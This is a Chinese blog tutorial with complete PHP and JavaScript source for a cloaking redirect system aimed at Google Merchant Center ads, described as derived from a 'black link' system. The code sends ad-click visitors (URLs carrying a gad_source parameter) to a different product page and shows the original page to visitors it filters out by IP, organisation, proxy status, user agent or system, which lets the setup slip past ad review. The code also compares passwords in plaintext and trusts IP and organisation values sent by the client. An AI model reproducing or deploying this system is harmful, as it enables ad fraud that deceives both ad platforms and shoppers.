用脚搓一个跳转系统,用于谷歌GMC
教你用脚搓一个跳转系统,适用于AB站跳转,莆田偷写的黑科技,原理就是当你访问A产品时判断跳转到B产品,类似斗篷,之前黑链系统移出来的,可根据国家、isp、org、proxy判断或者禁止跳转

废话不多说,直接上教程
文件:
config.php //配置文件
<?php
// config.php
// MySQL 配置
$db_host = '127.0.0.1';
$db_user = 'ceacer.com'; //改为自己的数据库用户名
$db_pass = 'ceacer.com'; // 数据库密码
$db_name = 'ceacer.com';//改为自己的数据库名
// 基本站点配置
$site_base = 'https://ceacer.com'; // 你的网站域名(不带尾斜杠)
// 连接
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_errno) {
die("DB Connection error: " . $conn->connect_error);
}
$conn->set_charset('utf8mb4');
admin/login.php //登录文件
<?php
// admin/login.php
session_start();
require_once __DIR__ . '/../config.php';
$msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$stmt = $conn->prepare("SELECT id, password FROM admins WHERE username = ?");
$stmt->bind_param('s', $username);
$stmt->execute();
$res = $stmt->get_result();
if ($row = $res->fetch_assoc()) {
// === 明文密码验证 ===
if ($password === $row['password']) {
$_SESSION['admin_id'] = $row['id'];
header('Location: index.php');
exit;
} else {
$msg = '用户名或密码错误';
}
} else {
$msg = '用户名或密码错误';
}
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>管理员登录</title>
<style>
body {
font-family: Arial, sans-serif;
background: #f0f2f5;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.login-card {
background: #fff;
padding: 30px 40px;
border-radius: 10px;
box-shadow: 0 4px 15px rgba(0,0,0,0.2);
width: 320px;
text-align: center;
}
h2 {
margin-bottom: 20px;
color: #333;
}
input {
width: 100%;
padding: 10px;
margin: 8px 0 16px 0;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 14px;
}
button {
width: 100%;
padding: 10px;
background: #007bff;
color: #fff;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
button:hover {
background: #0056b3;
}
.msg {
color: red;
margin-bottom: 16px;
}
</style>
</head>
<body>
<div class="login-card">
<h2>管理员登录</h2>
<?php if($msg): ?>
<div class="msg"><?= htmlspecialchars($msg) ?></div>
<?php endif; ?>
<form method="POST">
<input type="text" name="username" placeholder="用户名" required>
<input type="password" name="password" placeholder="密码" required>
<button type="submit">登录</button>
</form>
</div>
</body>
</html>
admin/index.php //首页文件 首页其他html自己写下
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php'); exit;
}
$page = $_GET['page'] ?? 'url_map'; // 默认进入 URL 映射管理
$url_mappings = [];
$rules = [];
// 获取 URL 映射
if ($page === 'url_map') {
$res = $conn->query("SELECT * FROM mappings ORDER BY created_at DESC");
if ($res) {
while ($r = $res->fetch_assoc()) $url_mappings[] = $r;
} else {
error_log("URL Mappings query error: " . $conn->error);
}
}
// 获取规则
if ($page === 'rules') {
$res = $conn->query("SELECT * FROM rules ORDER BY created_at DESC");
if ($res) {
while ($r = $res->fetch_assoc()) $rules[] = $r;
} else {
error_log("Rules query error: " . $conn->error);
}
}
?>
admin/edit_rule.php //编辑禁止规则文件
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php');
exit;
}
$id = $_GET['id'] ?? 0; // 用 GET 获取 ID 显示表单
if (!$id) exit('错误ID');
// 获取当前规则数据
$res = $conn->prepare("SELECT * FROM rules WHERE id = ?");
$res->bind_param("i", $id);
$res->execute();
$result = $res->get_result();
$rule = $result->fetch_assoc();
$res->close();
if (!$rule) exit('规则不存在');
// 保存 POST 表单
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$fields = ['block_countries','block_ips','block_org','block_proxy','block_ua','block_systems','block_other'];
$set = [];
$params = [];
$types = '';
foreach ($fields as $f) {
$set[] = "$f = ?";
$params[] = $_POST[$f] ?? '';
$types .= 's';
}
$params[] = $id;
$types .= 'i';
$sql = "UPDATE rules SET " . implode(',', $set) . " WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param($types, ...$params);
$stmt->execute();
$stmt->close();
header("Location: index.php?page=rules");
exit;
}
?>
admin/delete_rule.php //删除禁止规则文件
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php'); exit;
}
$id = $_GET['id'] ?? 0;
if($id){
$stmt = $conn->prepare("DELETE FROM rules WHERE id=?");
$stmt->bind_param("i",$id);
$stmt->execute();
$stmt->close();
}
header("Location: index.php?page=rules");
exit;
admin/delete_mapping.php //删除跳转文件
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) { header('Location: login.php'); exit; }
$id = intval($_POST['id'] ?? 0);
if ($id) {
$stmt = $conn->prepare("DELETE FROM mappings WHERE id = ?");
$stmt->bind_param('i',$id);
$stmt->execute();
}
header('Location: index.php');
admin/save_rules.php //保存禁止规则文件
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php'); exit;
}
$block_ips = $_POST['block_ips'] ?? '';
$block_org = $_POST['block_org'] ?? '';
$block_proxy = isset($_POST['block_proxy']) ? 1 : 0; // 如果使用复选框
$block_ua = $_POST['block_ua'] ?? '';
$block_systems = $_POST['block_systems'] ?? '';
$block_other = $_POST['block_other'] ?? '';
// 使用准备语句防止 SQL 注入,请根据自己的数据库来修改
$stmt = $conn->prepare("INSERT INTO rules (block_ips, block_org, block_proxy, block_ua, block_systems, block_other) VALUES (?, ?, ?, ?, ?, ?)");
if (!$stmt) {
die("Prepare failed: " . $conn->error);
}
$stmt->bind_param('ssisss', $block_ips, $block_org, $block_proxy, $block_ua, $block_systems, $block_other);
if ($stmt->execute()) {
header('Location: index.php?page=rules');
exit;
} else {
die("Execute failed: " . $stmt->error);
}
admin/save_mapping.php //保存跳转文件
<?php
// admin/save_mapping.php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php');
exit;
}
$added = 0;
// 获取 allow_ 字段
$allow_ua = $_POST['allow_ua'] ?? null;
$allow_ips = $_POST['allow_ips'] ?? null;
$allow_countries = $_POST['allow_countries'] ?? null;
$allow_referrers = $_POST['allow_referrers'] ?? null;
// 获取 mappings 字段(多行)
$bulk = $_POST['mappings'] ?? '';
$lines = explode("\n", str_replace("\r", '', $bulk));
foreach ($lines as $line_number => $line) {
$line = trim($line);
if ($line === '') continue;
// 按第一个逗号拆分
$parts = explode(',', $line, 2);
if (count($parts) < 2) continue;
$path = trim($parts[0]);
$target = trim($parts[1]);
$path = preg_replace('/^\x{FEFF}/u', '', $path); // 去 BOM
if ($path === '' || $target === '') continue;
$stmt = $conn->prepare("INSERT INTO mappings (path,target_url,allow_ua,allow_ips,allow_countries,allow_referrers) VALUES (?,?,?,?,?,?)");
if ($stmt === false) die("数据库准备语句失败: " . $conn->error);
$stmt->bind_param('ssssss', $path, $target, $allow_ua, $allow_ips, $allow_countries, $allow_referrers);
if (!$stmt->execute()) die("第 " . ($line_number+1) . " 行插入失败: " . $stmt->error);
$added++;
}
// 成功后跳转
header('Location: index.php?page=url_map&added=' . $added);
exit;
admin/upload_mapping.php //上传跳转文件
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['txt_file']) || $_FILES['txt_file']['error'] !== 0) {
die('请上传有效的 TXT 文件');
}
$file = $_FILES['txt_file']['tmp_name'];
$handle = fopen($file, 'r');
if (!$handle) die('无法打开上传文件');
$added = 0;
$row = 0;
while (($line = fgets($handle)) !== false) {
$row++;
$line = trim($line);
if ($line === '') continue; // 跳过空行
// 按逗号分割
$data = explode(',', $line);
if (count($data) < 2) continue;
$path = trim($data[0]);
$target_url = trim($data[1]);
// 去掉 BOM
$path = preg_replace('/^\x{FEFF}/u', '', $path);
if ($path === '' || $target_url === '') continue;
// 插入数据库
$stmt = $conn->prepare("INSERT INTO mappings (path, target_url, active, created_at) VALUES (?, ?, 1, NOW())");
if ($stmt === false) {
die("数据库准备语句失败: " . $conn->error);
}
$stmt->bind_param('ss', $path, $target_url);
if ($stmt->execute()) {
$added++;
} else {
// 可选调试
// echo "第 $row 行插入失败: " . $stmt->error . "<br>";
}
}
fclose($handle);
echo "<script>alert('成功添加 $added 条映射');location.href='index.php?page=url_map';</script>";
exit;
}
?>
admin/logout.php //退出登录
<?php
session_start();
session_destroy();
header('Location: login.php');
admin/rules.php
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (empty($_SESSION['admin_id'])) {
header('Location: login.php'); exit;
}
$rules = [];
$res = $conn->query("SELECT * FROM rules ORDER BY created_at DESC");
if($res){
while($r = $res->fetch_assoc()) $rules[] = $r;
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>跳转规则管理</title>
<style>
body { font-family: Arial; background:#121212; color:#e0e0e0; margin:0; }
.sidebar { width:220px; background:#1e1e1e; height:100vh; position:fixed; padding-top:20px; }
.sidebar a { display:block; padding:12px 20px; color:#4fc3f7; text-decoration:none; margin:2px 0; border-radius:4px; }
.sidebar a.active, .sidebar a:hover { background:#333; }
.content { margin-left:220px; padding:20px; }
input, textarea { width:100%; padding:10px; margin:4px 0 12px 0; border-radius:6px; border:1px solid #333; background:#2c2c2c; color:#fff; }
button { padding:10px 20px; border:none; border-radius:6px; background:#4fc3f7; color:#121212; cursor:pointer; font-weight:bold; }
button:hover { background:#039be5; }
table { width:100%; border-collapse:collapse; background:#1e1e1e; }
th, td { border:1px solid #333; padding:10px; vertical-align:top; }
th { background:#2c2c2c; }
</style>
</head>
<body>
<div class="sidebar">
<a href="?page=rules" class="active">规则管理</a>
<a href="logout.php">退出登录</a>
</div>
<div class="content">
<h2>添加新规则</h2>
<form method="POST" action="save_rules.php" style="max-width:600px;">
<label>禁止 IP (逗号或 CIDR):<br><input type="text" name="block_ips"></label>
<label>禁止 Org:<br><input type="text" name="block_org"></label>
<label>禁止 Proxy:<br><input type="text" name="block_proxy"></label>
<label>禁止 UA:<br><textarea name="block_ua"></textarea></label>
<label>禁止 系统类型 (逗号分隔):<br><input type="text" name="block_systems"></label>
<label>其他信息:<br><textarea name="block_other"></textarea></label>
<button type="submit">添加规则</button>
</form>
<hr>
<h2>已有规则</h2>
<table>
<thead>
<tr>
<th>ID</th>
<th>IP</th>
<th>Org</th>
<th>Proxy</th>
<th>UA</th>
<th>系统</th>
<th>其他信息</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php foreach($rules as $r): ?>
<tr>
<form method="POST" action="edit_rule.php">
<td><?=htmlspecialchars($r['id'])?><input type="hidden" name="id" value="<?=htmlspecialchars($r['id'])?>"></td>
<td><input type="text" name="block_ips" value="<?=htmlspecialchars($r['block_ips'])?>"></td>
<td><input type="text" name="block_org" value="<?=htmlspecialchars($r['block_org'])?>"></td>
<td><input type="text" name="block_proxy" value="<?=htmlspecialchars($r['block_proxy'])?>"></td>
<td><textarea name="block_ua"><?=htmlspecialchars($r['block_ua'])?></textarea></td>
<td><input type="text" name="block_systems" value="<?=htmlspecialchars($r['block_systems'])?>"></td>
<td><textarea name="block_other"><?=htmlspecialchars($r['block_other'])?></textarea></td>
<td>
<button type="submit">保存</button>
<a href="delete_rule.php?id=<?=htmlspecialchars($r['id'])?>" onclick="return confirm('确定删除吗?')" style="color:#f44336; display:inline-block; margin-top:4px;">删除</a>
</td>
</form>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</body>
</html>
api端
api/js.php //判断跳转文件
<?php
require_once __DIR__ . '/../config.php';
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
// 获取访问者信息
$ua = $_POST['ua'] ?? $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_POST['ip'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$platform = $_POST['platform'] ?? PHP_OS_FAMILY;
$visitor = [
'ip' => $ip,
'ua' => $ua,
'platform' => $platform,
'org' => $_POST['org'] ?? '',
'proxy' => filter_var($_POST['proxy'] ?? false, FILTER_VALIDATE_BOOLEAN), // true/false
];
// 查询规则表
$rulesRes = $conn->query("SELECT * FROM rules ORDER BY id DESC");
$allow = true; // 默认允许跳转
if($rulesRes){
while($rule = $rulesRes->fetch_assoc()){
$matched = false;
// 禁止 IP
if(!empty($rule['block_ips'])){
$ips = array_map('trim', explode(',', $rule['block_ips']));
if(in_array($visitor['ip'], $ips)){
$matched = true;
}
}
// 禁止 Org
if(!$matched && !empty($rule['block_org'])){
$orgs = array_map('trim', explode(',', $rule['block_org']));
if(in_array($visitor['org'], $orgs)){
$matched = true;
}
}
// 禁止 Proxy
if(!$matched && isset($rule['block_proxy'])){
$proxy_rule = strtolower(trim($rule['block_proxy'])); // true/false
if(($proxy_rule === 'true' && $visitor['proxy']) || ($proxy_rule === 'false' && !$visitor['proxy'])){
$matched = true;
}
}
// 禁止 UA
if(!$matched && !empty($rule['block_ua'])){
$uas = array_map('trim', explode(',', $rule['block_ua']));
foreach($uas as $u){
if($u && stripos($visitor['ua'], $u) !== false){
$matched = true;
break;
}
}
}
// 禁止 系统
if(!$matched && !empty($rule['block_systems'])){
$systems = array_map('trim', explode(',', $rule['block_systems']));
foreach($systems as $s){
if($s && stripos($visitor['platform'], $s) !== false){
$matched = true;
break;
}
}
}
if($matched){
$allow = false; // 匹配到任意规则 → 不跳转
break;
}
}
}
echo json_encode([
'code' => 100,
'allow' => $allow
]);
exit;
api/userid.php //获取用户消息头文件
<?php
require_once __DIR__ . '/../config.php';
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
// 获取访客信息
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$platform = PHP_OS_FAMILY; // 系统类型
// 调用 Pro IP-API 获取详细信息
$apiKey = '秘钥'; //自己找秘钥,这个是付费的
$apiUrl = "https://pro.ip-api.com/json/{$ip}?fields=id&key={$apiKey}"; //将id替换直接自己申请的id 或者换api接口
$geoData = [];
$geo = @file_get_contents($apiUrl);
if ($geo) {
$geoData = json_decode($geo, true);
}
// 构建访客信息(确保字段存在)
$visitor = [
'ip' => $geoData['query'] ?? $ip,
'ua' => $ua,
'platform' => $platform,
'country' => $geoData['country'] ?? '',
'countryCode' => $geoData['countryCode'] ?? '',
'region' => $geoData['region'] ?? '',
'regionName' => $geoData['regionName'] ?? '',
'city' => $geoData['city'] ?? '',
'isp' => $geoData['isp'] ?? '',
'org' => $geoData['org'] ?? '',
'as' => $geoData['as'] ?? '',
'asname' => $geoData['asname'] ?? '',
'mobile' => $geoData['mobile'] ?? false,
'proxy' => !empty($geoData['proxy']), // 强制 true/false
'timezone' => $geoData['timezone'] ?? '',
'lat' => $geoData['lat'] ?? '',
'lon' => $geoData['lon'] ?? '',
'zip' => $geoData['zip'] ?? '',
'continent' => $geoData['continent'] ?? '',
'continentCode'=> $geoData['continentCode'] ?? '',
'currency' => $geoData['currency'] ?? '',
'currentTime' => $geoData['currentTime'] ?? '',
'district' => $geoData['district'] ?? '',
'hosting' => !empty($geoData['hosting']),
'reverse' => $geoData['reverse'] ?? '',
'callingCode' => $geoData['callingCode'] ?? ''
];
// 输出 JSON(保留 Unicode 与斜杠)
echo json_encode([
'code' => 100,
'visitor' => $visitor
], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
exit;
api/tiaozhuan.php //执行跳转文件
<?php
require_once __DIR__ . '/../config.php';
// 允许跨域访问
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
// 获取访问 URL
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$country = '';
// ✅ 获取 spu 或 URL 来源
$spu = $_POST['spu'] ?? '';
if (!$spu && $referer) {
$spu = $referer;
}
if (!$spu) {
echo json_encode(['code' => 400, 'msg' => 'missing spu']);
exit;
}
// 查询映射规则
$stmt = $conn->prepare("SELECT * FROM mappings WHERE ? LIKE CONCAT('%', path, '%') AND active=1 LIMIT 1");
$stmt->bind_param('s', $spu);
$stmt->execute();
$res = $stmt->get_result();
if (!$res->num_rows) {
echo json_encode(['code' => 101, 'msg' => 'no match']);
exit;
}
$mapping = $res->fetch_assoc();
$target = $mapping['target_url'];
// 加载全局限制规则
$rulesRes = $conn->query("SELECT * FROM rules ORDER BY id DESC LIMIT 1");
$rules = $rulesRes ? $rulesRes->fetch_assoc() : [];
// ========== 判断规则 ==========
$deny = false;
// UA 限制
if (!empty($rules['allow_ua'])) {
$allowList = array_map('trim', explode(',', $rules['allow_ua']));
$deny = true;
foreach ($allowList as $a) {
if (stripos($ua, $a) !== false) $deny = false;
}
}
if (!empty($rules['block_ua'])) {
foreach (explode(',', $rules['block_ua']) as $b) {
if (stripos($ua, trim($b)) !== false) $deny = true;
}
}
// 来路限制
if (!empty($rules['allow_referrers'])) {
$allowRef = array_map('trim', explode(',', $rules['allow_referrers']));
$deny = true;
foreach ($allowRef as $r) {
if (stripos($referer, $r) !== false) $deny = false;
}
}
if (!empty($rules['block_referrers'])) {
foreach (explode(',', $rules['block_referrers']) as $r) {
if (stripos($referer, trim($r)) !== false) $deny = true;
}
}
// IP、国家判断可自行扩展(用 IP 数据库)
if ($deny) {
echo json_encode(['code' => 403, 'msg' => 'access denied']);
exit;
}
// 一切正常 — 返回跳转
echo json_encode(['code' => 100, 'target' => $target]);
exit;
最后js代码
<script>
(function(){
const userInfoApi = 'https://ceacer.com/api/userip.php'; // 获取用户信息,域名更换为自己的
const rulesCheckApi = 'https://ceacer.com/api/js.php'; // 匹配规则,域名更换为自己的
const mappingApi = 'https://ceacer.com/api/tiaozhuan.php'; // 获取跳转目标,域名更换为自己的
const currentUrl = window.location.href;
// 先隐藏页面,避免闪屏
document.documentElement.style.visibility = 'hidden';
fetch(userInfoApi)
.then(res => res.json())
.then(visitorRes => {
const visitor = visitorRes.visitor || {};
const formData = new FormData();
formData.append('ua', visitor.ua || '');
formData.append('ip', visitor.ip || '');
formData.append('platform', visitor.platform || '');
formData.append('country', visitor.country || '');
formData.append('org', visitor.org || '');
formData.append('proxy', visitor.proxy ? 'true' : 'false'); // 修正
return fetch(rulesCheckApi, { method:'POST', body:formData });
})
.then(res => res.json())
.then(ruleRes => {
if(ruleRes.code === 100 && ruleRes.allow === false){
// 匹配任意禁止规则 → 显示原页面
document.documentElement.style.visibility = 'visible';
} else {
// 没有匹配任何规则 → 跳转
const formData2 = new FormData();
formData2.append('spu', currentUrl);
fetch(mappingApi, { method:'POST', body:formData2 })
.then(res => res.json())
.then(mapRes => {
if(mapRes.code === 100 && mapRes.target){
window.location.replace(mapRes.target);
} else {
document.documentElement.style.visibility = 'visible';
}
})
.catch(() => {
document.documentElement.style.visibility = 'visible';
});
}
})
.catch(() => {
document.documentElement.style.visibility = 'visible';
});
})();
</script>
html代码部分就不贴出来了,自己动脚写下哈
简单讲解下原理,跳转原理,就是添加入路径的网址调到目标URL,然后根据/api/userip.php获取的数据和/api/js.php输出的数据匹配,如果匹配上则不进行跳转,反之则正常跳转
对于有需要带路径跳的,这个系统对你一定有帮助,因为可以设置那些参数能跳,
如:https://backlink.70m.top/login.php?gad_source10=
当你访问https://backlink.70m.top/login.php时不会跳
但是当你访问https://backlink.70m.top/login.php?gad_source10=或者https://backlink.70m.top/login.php?gad_source10=a61da56wf1awdawd
时就会跳,但是前提是和设置的规则字段不匹配才会跳,如果匹配上了禁止的字段就不会跳
禁止规则配置,可以添加禁止跳转的关键词,如ip、org、代理、UA、操作系统、其他任何字段
其中org需要完全匹配不然还是会跳转,如填写china 但是你的运营商是 China Mobile 那就是没匹配上就会跳转过去
分享
你的反应是什么?






